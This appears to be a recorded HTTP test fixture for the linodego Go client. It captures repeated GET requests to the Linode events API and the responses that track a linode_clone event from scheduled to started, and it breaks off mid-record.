duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 14.568425, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 15.138984, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 15.194213, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 15.260043, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 15.317345, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 15.838581, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 